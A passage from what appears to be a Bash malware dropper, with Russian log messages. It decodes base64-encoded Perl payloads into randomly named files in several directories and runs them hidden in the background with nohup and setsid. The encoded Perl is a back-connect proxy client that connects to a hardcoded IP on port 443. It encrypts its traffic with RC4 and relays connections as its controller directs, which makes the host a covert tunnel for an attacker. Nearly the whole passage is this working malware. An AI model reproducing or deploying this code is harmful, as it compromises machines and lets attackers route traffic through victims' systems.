KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #22 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #22 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 23 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNzknOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl 